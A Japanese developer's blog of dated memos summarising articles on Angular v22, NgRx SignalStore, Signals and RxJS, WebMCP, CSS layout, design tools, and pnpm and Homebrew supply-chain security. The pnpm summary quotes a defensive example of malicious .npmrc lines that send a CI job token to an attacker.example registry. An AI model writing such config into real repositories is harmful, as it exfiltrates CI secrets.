らいふうっどの閑話休題

興味のあることをゆる~く書いていく

2026.06.27 memo

2026.06.27 覚書 / 2026.06.27 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

  • Angular 2以降のモダン Angular は、メジャーバージョンごとのサポート期間が約18か月と短く、定期的なアップデートが必須になる、という内容です。
  • サポート期間は「約6か月のアクティブサポート」+「約12か月の LTS」という構成で、半年ごとに新メジャーが出るため、半年ごとにどれかのバージョンが EOL になります。
  • 記事では Angular 19 が 2026年5月18日に EOL、Angular 20 と Angular 21 がサポート対象として扱われています。
  • 実務上は、Angular は「一度アップグレードして終わり」ではなく、6〜12か月ごとに ng update を実行する運用をロードマップに組み込むべき、という主張です。
  • アップグレードはメジャーを飛ばさず、1バージョンずつ進めること、Angular Material / NgRx / サードパーティライブラリも合わせて追従することが推奨されています。

zenn.dev

  • Angular v22 で追加された injectAsync を使い、サービス単位でビジネスロジックを遅延読み込みする方法を解説した記事です。
  • 通常の inject() は依存先を静的参照するため、使う頻度が低いサービスでも初期バンドルに含まれます。injectAsync() は動的 import と組み合わせて、必要になったタイミングでサービスを読み込めるようにします。
  • 例として、レポート出力機能のように「画面は表示するが、エクスポート処理はボタン押下時だけ使う」ケースで、ReportExporter サービスを遅延読み込みする例が紹介されています。
  • ただし利用対象は @Injectable({ providedIn: 'root' }) または @Service() のサービスに限られ、複雑な provider 定義には対応しない点が制約です。
  • Angular の遅延読み込み手段として、ルート単位の loadChildren / loadComponent、ビュー単位の @defer、サービス単位の injectAsync、通常の ES Module import(...) を使い分ける、という整理がされています。
NgRx

dev.to

  • 従来の NgRx は、Actions / Reducers / Effects / Selectors などの儀式が多く、小〜中規模の状態管理には重すぎることが多かった、という問題意識から始まる記事です。
  • NgRx SignalStore は Redux 的な dispatch / reducer 構造を捨て、Angular Signals をベースに「state は signals」「変更は methods」というシンプルなモデルにしている点を評価しています。
  • withState で状態、withComputed で派生状態、withMethods で状態変更メソッドを定義する構成が紹介されています。
  • patchState を使って state を更新し、配列やオブジェクトは直接 mutate せず、新しい参照を作るべきだと強調しています。直接 push() すると signal が変化を検知できず、computed が古い値のままになる可能性があります。
  • 非同期処理では rxMethod を使い、switchMap によるリクエストキャンセルなど、RxJS が引き続き有効であることを説明しています。結論として「UI状態は Signals、非同期イベント列は RxJS」という住み分けです。
  • store を providedIn: 'root' にするか、コンポーネントの providers に置いて画面単位にスコープするかが重要で、画面固有の state を何でもグローバルにするのは避けるべき、という実務的な指摘があります。

dev.to

  • NgRx Signal Store の入門チュートリアル記事です。Angular Signals に慣れていて、従来の NgRx も知っている開発者向けに書かれています。
  • NgRx Signal Store は従来の @ngrx/store を完全に置き換えるものではなく、Actions → Reducers → Selectors が過剰に感じる場面向けの軽量な選択肢として位置付けられています。
  • signalStore()withState()withComputed()withMethods() を使い、商品一覧・ローディング状態・派生状態を管理する例が紹介されています。
  • コンポーネント側では通常のサービスのように store を inject() し、テンプレートから store.products()store.productsCount() のように signal として直接参照します。async pipe や subscribe() は不要です。
  • 初期例では firstValueFromasync/await で HTTP を扱っていますが、より NgRx Signal Store らしい実装として rxMethodtapResponse への書き換えも紹介されています。
  • rxMethod 版では switchMap による前回リクエストのキャンセル、tapResponse によるエラー時にもストリームを終了させない処理がポイントです。

dev.to

  • Angular Signals の基礎から、signal()computed()effect()、RxJS 連携、input() / model() / output() までをまとめた解説記事です。
  • signal() はリアクティブな値コンテナで、値の読み取りは関数呼び出し形式、更新は set() または update() を使うと説明しています。
  • computed() は他の signal から派生する読み取り専用 signal で、遅延評価・キャッシュ・依存 signal 変更時の再計算が行われます。
  • テンプレート内では count() のように signal を呼び出すことで Angular が依存関係を追跡し、必要な箇所だけ再描画できる、という説明です。
  • コンポーネントクラス内で signal をただ読むだけでは購読にはならないため、副作用を起こしたい場合は effect() を使うべき、と整理されています。
  • effect() は logging、localStorage 書き込み、外部ライブラリ連携、DOM 操作など「Angular のリアクティブ状態から外部世界へ影響を出す」用途に使うべきで、派生状態には computed() を使うべき、という切り分けです。
  • effect()onCleanup を使うことで、タイマー、fetch、イベントリスナーなどを再実行前やコンポーネント破棄時に掃除できる点も説明されています。
  • Signals と RxJS は競合ではなく役割が異なり、UI状態や派生状態は Signals、HTTP / WebSocket / イベント列 / debounce / switchMap などは RxJS が向いている、という整理です。toSignal()toObservable() による相互変換も紹介されています。

2026.06.13 覚書 / 2026.06.13 memo's

2026.06.13 覚書 / 2026.06.13 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

  • Angular 21 から Angular 22 への変化を、「派手な新機能」ではなく 成熟・整理・性能改善・設計方針の明確化 としてまとめた記事です。Angular 22 は drastic shift ではなく maturity upgrade だ、という位置づけです。
  • 大きな比較軸は、Signals、Zoneless、Template Control Flow、Effects、Performance、DX、Architecture です。
  • Angular 21 では Signals が広く使われ始めた段階で、RxJS / traditional state / signals が混在しがちだったのに対し、Angular 22 では signal()computed()effect() を中心にした Signals-first な設計がより標準的になった、と説明しています。
  • Zoneless については、Angular 21 では可能だが一般化はまだ、Angular 22 では Zone.js 依存を減らし、明示的な reactivity に寄せる流れが強くなった、という整理です。
  • Template Control Flow では、@if / @for / @switch の新構文が Angular 22 でより推奨され、*ngIf / *ngFor の microsyntax は legacy 感が強くなる、と述べています。
  • effect() については、派生 state を作るために使うのではなく、派生値は computed()、副作用は effect() という分離を強調しています。
  • アップグレード判断としては、Signals を本格採用したい、新規プロジェクト、性能改善を狙いたい場合は Angular 22 へ進む価値がある一方、安定稼働中で RxJS-heavy な既存設計に強く依存しているなら急がなくてもよい、というニュアンスです。
  • 読みどころとしては、公式 changelog の詳細というより、「Angular 22 時代の設計の空気感」を短く掴む記事です。ただし、やや概念的なまとめなので、正確な API 差分は公式 Angular v22 announcement / changelog と照合した方がよいです。

dev.to

  • Angular 22 で ComponentPortaldirective を適用できる ようになったことを、CDK Portal の実例で説明する記事です。
  • 題材は、checkout 画面の “Need help?” パネルです。同じ PaymentHelpComponent を、画面内の CdkPortalOutlet と、document.body に直接出す DomPortalOutlet の両方で動的表示する例が使われています。
  • 問題意識は、「動的に生成された component の host element に、文脈ごとの振る舞いやアクセシビリティ属性を付けたいが、それを component 本体に埋め込みたくない」というものです。
  • 例では PortalPanelDirective を作り、host に role="region"aria-labeltabindex="-1" を付与し、afterNextRender() で focus する処理を定義しています。
  • Angular 22 では、new ComponentPortal(...) の引数に directives 配列を渡し、type: PortalPanelDirectiveinputBinding('ariaLabel', ...) で directive input を設定できます。
  • 同じ PaymentHelpComponent でも、inline 表示では aria-label="Payment help for checkout"、floating panel では aria-label="Floating payment help" のように、表示場所に応じて host behavior を変えられます。
  • この記事の結論は、ComponentPortal が単なる「動的 component 表示」だけでなく、その表示文脈に必要な host behavior を一緒に運べる仕組みになった という点です。
  • 実務的には、Dialog、Overlay、Portal、Floating UI、ヘルプパネル、通知パネルなどで、component 本体を汚さずに a11y 属性・focus 制御・context-specific behavior を付与したい場合にかなり便利です。
  • ただし、記事にもある通り、現状の ComponentPortal constructor は第 6 引数に directives を渡す形で少し冗長です。ラップ関数や factory を用意すると実プロダクトでは扱いやすそうです。

dev.to

  • Angular の httpResource() によって、従来の HttpClient.subscribe()loading boolean、error field、subscription cleanup などの boilerplate を大幅に削減できる、という記事です。
  • 従来の Angular data fetching では、users = []loading = falseerror = null を用意し、ngOnInit()http.get().subscribe() し、成功時・失敗時に loading を手動で切り替える、という定型コードが多くなりがちだと説明しています。
  • httpResource<User[]>(() => '/api/users') を使うと、value()isLoading()error()status() が signals として扱えるようになります。template 側では @if (usersResource.isLoading())@else if (usersResource.error())@for (user of usersResource.value()) のように状態を読むだけになります。
  • subscribetakeUntilDestroyedloading の reset 漏れなどが不要になり、resource の lifecycle は component と一緒に管理されます。ここ、地味だけど実務ではかなり効くやつです。
  • 特に重要なのは、request 定義が signal を読む関数になっている点です。たとえば selectedId signal を URL に使うと、selectedId.set(42) だけで URL が再計算され、再 fetch され、loading state も更新されます。
  • 筆者は、以前なら SubjectswitchMap、race condition 対策コメントで書いていた処理が、framework による依存追跡で自然に表現できると評価しています。入力変更時の in-flight request cancellation、つまり switchMap 的な振る舞いも得られると説明しています。
  • 記事では Resource API を 3 段階で整理しています。

    • httpResource():HTTP GET 向けの高レベル API
    • resource():Promise を返す任意の async loader 向け
    • rxResource():debounced search、retry/backoff、stream 合成など RxJS operators が必要な場合の escape hatch
  • 筆者の結論は、「Angular が RxJS を捨てる」のではなく、HTTP state は Resource / Signals に寄せ、RxJS は本当に時間・stream の問題がある場所に残す というものです。
  • 注意点として、記事時点では httpResource は experimental とされ、v19〜v21 の間でも API が動いていること、また error state で value() を読むと throw するため、error() / isLoading() を先に判定する必要があると述べています。
  • 実務的には、一覧・詳細・選択 ID に応じた fetch・手動 reload・軽い optimistic update などはかなりシンプルにできそうです。一方、複雑な retry、WebSocket、複数 stream の合成は RxJS / rxResource() 側に残すのがよさそうです。

dev.to

  • Angular 2026 年時点の state management を、Pure Signals、NgRx SignalStore、Akita、NGXS、NgRx ComponentStore、NgRx classic で比較する記事です。
  • 記事冒頭では、Angular 19 の 22k LOC の marketing analytics SaaS “Mattrx” で state layer を 8 か月かけて整理し、state-management LOC を 8,400 → 3,100、state 関連 bundle を 38 KB → 18 KB、/campaigns の keystroke ごとの re-render を 47 → 3 に減らした、としています。
  • 筆者の中心主張は、「正しい state library を 1 つ選ぶ」のではなく、state の種類ごとに最小限の抽象化を選ぶ ことです。
  • state を 4 種類に分けています。
    • Local UI state:dropdown open、active tab、input → component の Signal
    • Server cache:API 由来の一覧 → toSignal(http.get(...)) または複雑なら NgRx Entity
    • Shared feature state:選択行、bulk edit draft → feature service の Signal
    • App-wide workflow:audit log、time-travel、DevTools が必要な multi-step state → NgRx
  • /campaigns 機能を 6 通りで比較し、Pure Signals は 0 KB / 70 LOC、NgRx SignalStore は約 6 KB / 75 LOC、Akita は約 10 KB / 100 LOC、NGXS は約 14 KB / 140 LOC、NgRx classic は約 25 KB / 210 LOC としています。
  • 意外なポイントとして、re-render 粒度の改善は「NgRx か Signals か」ではなく、Signals に寄せること自体で得られる、と述べています。NgRx classic でも store.selectSignal() を使うと Pure Signals や SignalStore と同等の re-render 数になるため、既存 NgRx classic を全面移行する必要はなく selector 側から変えればよい、という見方です。
  • Pure Signals は 2026 年の default とされ、action / reducer / selector / effect / entity adapter なしで 70 行程度の shared state service が書ける例を示しています。
  • 一方、queue、retry、audit log、DevTools、time-travel が必要な workflow では NgRx がまだ有効で、特に新規 NgRx code は SignalStore が向いているとしています。
  • 判断ツリーとしては、component local なら Signal、server data なら toSignal(http.get(...)) か複雑なら NgRx Entity、feature 内共有なら simple は feature service の Signal、complex workflow は ComponentStore、cross-feature かつ audit / DevTools / time-travel が必要なら NgRx SignalStore / classic、という整理です。
  • 最終ルールはかなり明快で、Signals for state. RxJS for streams. NgRx SignalStore when the state is shared, workflow-heavy, and benefits from DevTools / time-travel. です。
  • 実務的には、Angular アプリで「全部 NgRx」「全部 SignalStore」「全部 Signals」と寄せすぎないための判断材料になります。特に既存 NgRx classic 資産がある場合、全面移行より selectSignal() から始める、という示唆は現実的です。

dev.to

  • Angular における Signals と RxJS の役割分担を、かなり短く鋭く整理した記事です。
  • 筆者の主張は、Signals は RxJS を置き換えたのではなく、RxJS が苦手だった半分、つまり component state や template consumption の領域を引き受けた、というものです。
  • 判断基準は「それは value か occurrence か」です。

    • value:現在値を読む意味があるもの。ログインユーザー、選択タブ、filter text、cart など → Signal
    • occurrence:起きる出来事。keystroke、WebSocket frame、retry with backoff、前の request を cancel すべき request など → RxJS stream
  • Signals は、同期的な read、computed() による派生、template との相性が良い。一方、click の「現在値」のようなものは意味がなく、debounceTimeswitchMapretry のような時間・順序・キャンセルの問題は RxJS が得意、という整理です。

  • interop として、toSignal() は stream を state に変換します。即時 subscribe され、injection context 内で cleanup され、初期値として initialValue を渡すか、undefined を許容するか、BehaviorSubject などには requireSync を使う、という注意点が挙げられています。
  • 逆方向の toObservable() は、signal を stream に変換します。記事では typeahead の例として、query = signal('')toObservable(this.query).pipe(debounceTime(300), distinctUntilChanged(), switchMap(...)) に流し、結果を toSignal(..., { initialValue: [] }) で state に戻しています。
  • code review 時の smell として、effect() の中に setTimeout、manual cancellation flag、「新しい実行が始まったら古い実行を無視する」ような処理があるなら、それは Signal の格好をした stream であり RxJS に戻すべき、としています。
  • 逆に、BehaviorSubjectscanshareReplay を駆使して「現在の一覧と loading flag」を作っているだけなら、それは stream の格好をした state であり Signal / resource() の方が向いている、という指摘です。
  • 結論は、RxJS は死んでいないが小さくなり、より適切な場所に残る、というものです。component state や template consumption からは退き、時間とイベントの調整が必要な場所で使う技術になった、という読み方ができます。
  • @gurezo/web-serial-rxjs 的にはかなり相性のよい整理です。Web Serial の受信・接続・切断・retry・stream 処理は RxJS、画面上の選択状態や表示用 derived state は Signals、という分担が自然です。
AI

www.builder.io

  • DX(Developer Experience)に続く概念として、AX(Agent Experience) を提案する記事です。AI エージェントに「プロンプトを渡す」だけでは不十分で、実際のコードベースで安全に作業できる環境・文脈・検証ループを整える必要がある、という主張です。
  • AX は、モデルと実コードベースの間にある層として定義されています。具体的には、context、tools、permissions、tests、review loops を整備し、エージェントが速く・安全に・決定論的にフィードバックを得られる状態を指します。
  • 記事では、AI エージェントは人間の新人開発者と同じように「オンボーディング」が必要だと説明しています。ただし、巨大で古い AGENTS.md / rules / skills を食わせるのではなく、最小限で透明性があり、テスト済みの context を渡すべきだ、という考えです。
  • 「実行環境そのものがプロンプトの一部」という視点も重要です。依存関係、scripts、環境変数、seed data、browser access などが揃っていないと、エージェントが compile / run / test できず、出力の信頼性が落ちるとしています。
  • レビュー前に、エージェント自身が evidence を出すべきだとも述べています。テスト結果、スクリーンショット、ブラウザ操作結果、ログ、アクセシビリティ確認などを提示させ、人間のレビュー時間を浪費しない設計が AX です。
  • 安全面では、sandbox、scoped credentials、file / network 制限、production / development の分離、approval gate、人間の関与などを決定論的に組み込むべきだとしています。
  • モデル選択についても、すべてを高価な reasoning model に投げるのではなく、低リスクな作業は安いモデル、高難度・高リスクな作業は強いモデルに振り分ける governance が必要だと説明しています。
  • 実務的には、Angular / Nx monorepo のような構成ではかなり刺さる内容です。AGENTS.md を巨大化させるより、「起動方法」「テスト方法」「触ってよい範囲」「レビュー時に出す証跡」を明確にする方が、AI agent には効きそうです。

dev.to

  • WebMCP を、ブラウザ上の Web ページが AI エージェントに対して「このページで何ができるか」「どう操作すればよいか」を構造化して伝える仕組みとして紹介する記事です。
  • 問題意識は、現在の AI エージェントが人間向けに作られた UI を見て、ボタンや入力欄を推測しながら操作している点です。そのため、誤クリックや試行錯誤が起きやすい。WebMCP は、ページ側から操作方法を明示することでそれを減らす狙いです。
  • WebMCP は通常の API を置き換えるものではなく、ブラウザ内で動く AI agent に対して、UI 操作のためのガイドや tool を公開するもの、と位置づけられています。
  • Playwright / Playwright MCP との関係では、WebMCP は E2E テスト寄りの自動操作ではなく、ページ自身が「この操作はこう呼び出せる」と agent に伝える層として説明されています。
  • 使い方は大きく 2 種類です。Declarative API は HTML form に annotation を追加して tool 化する方式、Imperative API は JavaScript 関数で form submission、navigation、独自 action などの tool を定義する方式です。
  • Imperative API の例では、document.modelContext.registerTool() を使い、namedescriptioninputSchemaoutputSchemaexecute を定義して、商品検索のような操作を agent に公開しています。
  • Declarative API の例では、toolnametooldescriptiontoolparamdescription などの属性を form や input / select に付与し、サポート依頼フォームを agent が理解・入力できるようにしています。
  • セキュリティ面では、WebMCP を実装するとページ内テキストやユーザーデータが LLM に渡る可能性があるため、間接 prompt injection に注意が必要だと警告しています。
  • 記事の結論は、Backend MCP は大量データ処理や API 統合に向き、WebMCP はユーザーが実際にページを操作している最中の context-aware な支援に向く、という整理です。
  • Angular 観点では、フォーム、管理画面、設定画面、Dashboard などに「AI agent が安全に操作できる tool 定義」を足す未来像として読むと面白いです。CHIRIMEN Lite Console のような UI でも、接続・診断・ログ取得などを WebMCP tool として公開する発想は相性が良さそうです。
CSS

ics.media

  • Pinterest のフィードのように、高さの違うカードを等幅の列へ隙間なく積む メイソンリーレイアウト を、CSS の新しい display: grid-lanes で実現する方法を紹介する記事です。
  • 従来の CSS Grid / Flexbox では、「次のカードを一番低い列に置く」という処理ができず、JS masonry、CSS Columns、Flexbox の列分割などで回避していました。ただし、JS は再計算や SSR との相性、CSS Columns はタブ順序・スクリーンリーダー体験、Flexbox は高さ調整の自前実装が課題でした。
  • display: grid-lanesgrid-template-columns: repeat(auto-fill, minmax(...)) を使うと、メディアクエリーなしでレスポンシブなメイソンリーレイアウトを作れます。記事では Safari 26.4 以上でデモ確認する前提になっています。
  • 配置アルゴリズムはシンプルで、「次のカードを一番背の低い列へ置く」を最後まで繰り返します。通常の CSS Grid と違い、行を揃えず、各列が独立したレーンとして伸びていく点が特徴です。
  • grid-template-columns を指定すると waterfall、つまり縦方向のメイソンリーになり、grid-template-rows を指定すると brick、つまり横方向のメイソンリーになります。横方向は RTL 言語や横スクロールカルーセルとも相性がよいと説明されています。
  • CSS Grid と同じように grid-column: 1 / -1grid-column: span 2、負の index などを使い、特定アイテムだけ全幅・2列分・右寄せなどにできます。通常の Grid 的な指定と masonry 的な配置が組み合わさるのが面白いところです。
  • 新しい flow-tolerance プロパティも紹介されています。これは「同じ高さのレーン」とみなす許容幅を指定するもので、値を小さくすると見た目は詰まりますが、DOM 順と視覚順がずれやすくなります。アクセシビリティ的には、タブ順序や読み上げ順とのズレに注意が必要です。
  • レイアウト自体は CSS で完結しますが、カード追加・並び替え時の移動は CSS transition だけでは補間できないため、document.startViewTransition()、anime.js、GSAP Flip などで位置変化を補間する例も紹介されています。
  • 対応ブラウザは記事時点で Safari 26.4 以上とされており、すぐ全ブラウザ本番投入というより、CSS masonry の今後を追う記事として読むのがよさそうです。

ics.media

  • Chrome 134 / Microsoft Edge 134 で可能になった、<select> / <option> の新しいカスタマイズ方法を紹介する記事です。従来は <select> の見た目を大きく変えづらく、独自実装にするとアクセシビリティやキーボード操作対応が課題になりがちでした。
  • カスタマイズの基本は、select::picker(select)appearance: base-select; を指定することです。::picker(select) は、クリック時に表示される選択肢リストのポップオーバーを制御する疑似要素として説明されています。
  • <select> 内に、従来の <option> / <optgroup> 以外の要素も配置できるようになり、記事では <img><hr> を選択肢内に入れる例が紹介されています。これにより、アイコン付き選択肢や区切り線付きのリストが作りやすくなります。
  • <select> 内に <button> を 1 つ置くと、選択肢リストを開くためのボタンとして認識されます。さらに <selectedcontent> を置くと、選択済みの <option> が複製され、ボタン側に表示されます。
  • 選択肢側には説明文を出すが、閉じたボタン側では説明文を非表示にする、といった調整も CSS でできます。つまり、選択肢リスト内の表示と、選択済み表示を分けて設計できるわけです。
  • 注意点として、カスタマイズした選択肢リストは通常のプルダウンよりレイアウトが複雑になり、画面幅・高さによってははみ出す可能性があります。モバイル・デスクトップ両方で使いやすさを確認する必要があります。
  • selectedcontentelement 属性を使うと、<select> の外側にある <selectedcontent> に選択済み内容を反映できます。従来なら JavaScript で同期していたような表示を、HTML 側だけで表現できる可能性があります。
  • ただし記事公開時点では、selectedcontentelement は Chrome 134 では通常動作せず、Experimental Web Platform features を有効化するか Chrome Canary が必要で、Android では Chrome Beta 135 / Canary 136 でも動作しなかったとされています。
  • また、multiple または size 属性がある <select> では、記事で紹介されたようなカスタマイズはできないとされています。
  • 実務的には、独自 select コンポーネントを作る前に「ネイティブ <select> のままどこまでデザインできるか」を再検討する材料になります。ただしブラウザ対応差がまだあるので、管理画面や実験 UI から試すのが無難です。
Design

chromewebstore.google.com

  • Figma 公式の Chrome 拡張機能ページです。主な機能は、ライブ Web サイトをキャプチャして、Figma 上で編集可能なレイヤーとして取り込む ことです。単なるスクリーンショットではなく、ページや要素を Figma の layer として扱える点が特徴です。
  • 本番環境の UI、チームメンバーが公開した modal、既存の live page などを Figma に取り込み、ゼロから再現せずに「実際に動いている UI」を元にデザイン検討できる、という用途が想定されています。
  • Google Calendar の予定に Figma / FigJam ファイルを素早く追加する機能もあります。会議参加者が正しいデザインファイルにアクセスしやすくするための workflow 補助です。
  • Screen capture は beta 機能で、Pro 以上の plan 向けと説明されています。
  • Chrome Web Store 上では、拡張機能カテゴリは Workflow & Planning、ユーザー数は 100,000 users、評価は 4.7 / 5、更新日は 2026年6月12日と表示されています。
  • Privacy 欄では、この拡張が扱うデータとして Website content が明示されています。ライブページを取り込む性質上、業務システムや認証済み画面を扱う場合は、社内ルール・機密情報の扱いに注意が必要です。
  • 実務的には、既存 Web UI のデザイン棚卸し、実装済み UI のリデザイン、デザインシステム化前の現状把握に便利そうです。特に「実装と Figma がズレている」現場では、現物 UI を起点にできるのが強いです。

www.ui-skills.com

  • Design Engineer 向けの UI / UX / accessibility / motion / frontend design skill の curated directory です。AI エージェントや Claude Skills のような文脈で、UI 実装・レビューに使う skill を探すための一覧ページです。
  • 掲載されている skill は、Tailwind CSS の design consistency、typography scale、component accessibility、layout anti-pattern のチェックなど、実装寄りの UI 品質改善に向いたものが多いです。
  • Accessibility 系では、ARIA labels、keyboard navigation、focus management、color contrast、form errors、WCAG 2.2 audit などを扱う skill が掲載されています。
  • Motion / performance 系では、layout thrashing、compositor properties、scroll-linked motion、blur effects、animation jank など、UI アニメーションの品質・性能をレビューする skill が紹介されています。
  • UI 生成系では、generic AI aesthetics を避けて、より polished / production-grade な frontend interface を作るための skill が複数掲載されています。
  • shadcn/ui、React Doctor、SwiftUI patterns、HTML slides など、特定 stack や用途に寄った skill もあります。
  • 実務的には、「AI に UI を作らせると何か安っぽい」「アクセシビリティや motion のレビュー観点が漏れる」という問題に対して、skill 単位で補助線を与えるサイトとして使えます。
  • Angular でもそのまま使える観点が多く、特に CHIRIMEN Lite Console / dashboard 系では、アクセシビリティ、フォーム、ダイアログ、focus management、motion performance のレビュー checklist として参考になりそうです。

collectui.com

  • UI デザインの inspiration を集めたキュレーションサイトです。ページ上では “Daily User Interface Inspiration” や “hand-picked websites and interfaces” として説明されています。
  • Latest Designs、Designers、Categories、Trending といった導線があり、UI パターンやデザイン事例を探すためのギャラリー系サイトです。
  • 週次で hand-picked な websites / interfaces を受け取る subscribe 導線もあります。
  • Panda Network の一部として、Collect UI、Best Designs On X、Designer Daily Report、Curations Supply、Flat UI Colors、The Stocks などの関連サイト群も案内されています。
  • スポンサー向けには、Framer、Adobe、Mobbin などの design tool と並ぶ design network 内で露出できる、という文脈もあります。
  • 実務的には、特定の UI 実装方法を学ぶ記事というより、画面構成・余白・カード UI・フォーム・LP・ダッシュボードなどの見た目の参考を探す場所 です。
  • 自分で UI を作る前に「似た画面の良い事例」を探す用途に向いています。AI に UI を作らせる前の reference 集めにも使えます。
Develop

pnpm.io

  • pnpm が、repository 内の .npmrcpnpm-workspace.yaml に含まれる環境変数展開を制限した理由を説明する記事です。対象は pnpm v10.34.2 / v11.5.3 以降の変更です。
  • 背景は supply chain attack 対策です。以前の pnpm は、clone した repository 内の .npmrc にある ${ENV_VAR} を展開していましたが、悪意ある repository が CI_JOB_TOKEN などの secret を registry URL や auth token に埋め込ませ、外部に送信できる可能性がありました。
  • 攻撃例として、.npmrcregistry=https://attacker.example/${CI_JOB_TOKEN}///attacker.example/:_authToken=${CI_JOB_TOKEN} を置くだけで、pnpm install 時に secret が URL や Authorization header として送られる可能性が説明されています。install script や postinstall すら不要、というのが怖いところです。
  • 変更後は、repository-controlled な .npmrc / pnpm-workspace.yaml 由来の registry、proxy、URL-scoped key、credential values では環境変数を展開しません。該当設定は無視され、移行方法の warning が出るようになります。
  • 一方で、ユーザーの ~/.npmrc、global config、command-line options、environment config など、ユーザーが管理する trusted location では環境変数展開は継続されます。
  • 移行方法は、認証 token を repository の .npmrc から出し、user / global config 側に移すことです。記事では pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN" のように user/global config に書く方法が示されています。
  • GitHub Actions では、actions/setup-noderegistry-urlNODE_AUTH_TOKEN を使う構成は、user-level .npmrc に書かれるため引き続き動作すると説明されています。
  • 実務的には、OSS / monorepo / CI で pnpm を使っている場合、repository に committed .npmrc があるなら要確認です。NPM_TOKEN や private registry token を repo 側 .npmrc に書く設計は避け、CI secret → user config に流す形が安全です。

brew.sh

  • Homebrew 6.0.0 のリリース告知です。全体として、UX 改善、brew bundle 強化、性能改善、macOS / Linux / WSL 対応、security / supply chain 対策、cask 周りの改善が大きなテーマです。
  • Better defaults として、brew install / brew upgrade で依存関係の summary と確認 prompt を出す ask mode が developer 向け default になっています。破壊的・大きめの変更を実行前に確認しやすくする方向です。
  • brew bundle は、parallel formula installation、npm / krew extension、cleanup 対応、Windows の winget support などが追加・改善されています。複数環境のセットアップや dotfiles 管理で使っている人には影響が大きいです。
  • Performance 面では、startup の改善、brew leaves 約 30% 高速化、upgrade 時の bottle tab fetching 並列化、起動時の Ruby library load 削減などが挙げられています。
  • macOS 27 Golden Gate の初期サポートが入りました。また、macOS 27 が Intel support を落とすことに伴い、2026年9月に macOS Intel x86_64 は Tier 3、2027年9月には unsupported になる予定とされています。
  • Security advisories として、POST download strategy の redirect protection bypass、macOS .pkg postinstall の Git hooks 経由 root code execution、/var/tmp plist を信頼して ownership を割り当てる問題の 3 件が公開されています。
  • その他の security 改善として、Ruby 評価時の sensitive environment variables filtering、HOMEBREW_* environment secrets の扱い改善、cask / formula の forbidden checks before download、cask checksum を要求する option などが追加されています。
  • Casks では pin、Linux AppImage support、Linux freedesktop trash、upgrade download queue の共有、upgrade summary、auto_updates cask の挙動改善などが入っています。
  • 新コマンドとして、brew exec が追加されています。npx のように formulae environment を使ってコマンド実行できるものとして説明されています。
  • brew vulns という tap / subcommand も追加され、インストール済み package の既知脆弱性をチェックできるようになっています。
  • Homebrew は supply-side security への対策として、macOS sandboxing、human review、environment filtering に加え、Linux sandboxing、sensitive location の read sandboxing、riskier ecosystems への cooldown などを進めていると説明しています。
  • 実務的には、開発マシンの bootstrap に Homebrew を使っている場合、brew bundle、Intel Mac の今後、cask の checksum / Gatekeeper、brew vulns あたりを確認しておくとよさそうです。

docs.brew.sh

  • Homebrew の supply chain security に関する公式ドキュメントです。Homebrew がオープンソース ecosystem 全体からソフトウェアをインストールする性質上、repository、maintainer、build system、download server などを含めた supply chain security が中核的な関心事だと説明しています。([Homebrew Documentation][6])
  • npm / PyPI など他 ecosystem で起きた攻撃パターンとして、maintainer account takeover、self-propagating worm、typosquatting / slopsquatting、install-time code、instant unreviewed publishing が挙げられています。([Homebrew Documentation][6])
  • Homebrew の違いとして、すべての変更に human review が入ること、package owner ではなく Homebrew maintainer が変更を管理すること、third-party repository をデフォルトでは信頼しないことが強調されています。([Homebrew Documentation][6])
  • Third-party tap は単なる metadata ではなく、ユーザー権限で Ruby を実行し得る executable code として扱われます。そのため Homebrew は非公式 tap を自動的に信頼・推奨せず、brew trust / brew untrust などで必要な範囲だけ明示的に信頼する方向に進めています。([Homebrew Documentation][6])
  • Formula の download は sha256 checksum に pin され、checksum 変更も review 対象です。upstream の tarball が後から差し替えられた場合、checksum mismatch で install が失敗し、silent compromise を防ぐ設計です。([Homebrew Documentation][6])
  • Bottle の install は Homebrew CI で build 済みの reviewed files を展開する形で、source build や post_install は sandbox 内で動作します。macOS だけでなく Linux でも sandboxing を拡張し、credentials や SSH keys など sensitive location の読み取りも制限します。([Homebrew Documentation][6])
  • Build 環境では environment filtering を行い、shell environment 全体を渡さず、secret や予期しない設定が build / test code に露出しないようにしています。([Homebrew Documentation][6])
  • Casks は vendor が配布する prebuilt application を直接 install するため、formulae より trust model が弱いと明記されています。sha256 を検証できる場合は安全性が上がりますが、sha256 :no_checkauto_updates true の場合は、最終的に vendor が実行される bytes を管理します。([Homebrew Documentation][6])
  • npm / PyPI など fast-moving supply-side attack の実績がある ecosystem には download cooldown を適用し、新規 upstream version を即座に採用せず、悪意ある release が検出される時間を確保する方針です。([Homebrew Documentation][6])
  • ただし、全 package に blanket cooldown をかけるのではなく、riskier ecosystems に限定しています。OpenSSL のような zero-day 修正は速く届ける必要があり、遅延と安全性のバランスを取るためです。([Homebrew Documentation][6])
  • Trust model comparison では、Homebrew は human review、pinned sha256、Homebrew-built bottles、sandboxed postinstall、2FA 必須 maintainer team などにより、npm / PyPI の即時公開・install script 実行型の model と違うことを整理しています。([Homebrew Documentation][6])
  • 実務的には、Homebrew を安全に使うには「非公式 tap を雑に入れない」「cask は vendor trust 前提と理解する」「brew update / brew upgrade で security 改善を追う」「CI / dotfiles では trust 範囲を明示する」あたりがポイントになります。

2026.06.05 覚書 / 2026.06.05 memo's

2026.06.05 覚書 / 2026.06.05 memo's

自分が参考になったブログの紹介します。

Angular

blog.angular.dev

  • Angular v22 の公式リリース告知記事です。今回の大きなテーマは、v21 で導入・拡張された機能群を production-ready / stable に引き上げることです。
  • 安定化された主要機能は、Signal FormsAngular AriaAsynchronous Reactivity APIs です。Signal Forms は、Reactive Forms、型安全な forms、Template-driven Forms 的な書きやすさ、Signals のリアクティビティを組み合わせた新しい forms API として説明されています。
  • resourcehttpResource も本番利用可能になりました。Signals の同期的な使いやすさを保ちながら、HTTP 取得や非同期データ取得を宣言的に扱える API として位置づけられています。
  • Angular Aria はアクセシブルな UI パターンを提供する仕組みで、v22 では本番投入できる状態になったと説明されています。Signal Forms 対応や test harness の提供も含まれます。
  • AI / Agentic 開発向けの強化も大きな柱です。Angular MCP に devserver.start / devserver.stop / devserver.wait_for_build などが入り、AI エージェントが開発サーバーを起動・停止・ビルド確認できるようになります。
  • Angular Agent Skills も紹介されています。angular-developer は Signal Forms や Angular Aria など最新 Angular のベストプラクティスを AI に渡すための skill、angular-new-app は Angular 初学者向けにエージェントが環境構築を案内する skill です。
